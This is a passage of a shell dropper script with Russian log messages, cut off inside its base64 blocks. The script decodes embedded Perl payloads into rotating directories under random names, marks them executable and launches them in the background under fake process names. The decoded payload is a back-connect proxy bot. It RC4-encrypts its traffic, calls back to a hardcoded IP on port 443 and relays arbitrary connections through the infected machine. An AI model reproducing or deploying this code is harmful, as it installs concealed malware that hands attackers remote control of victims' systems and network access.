ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #9 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #9 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 10 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk 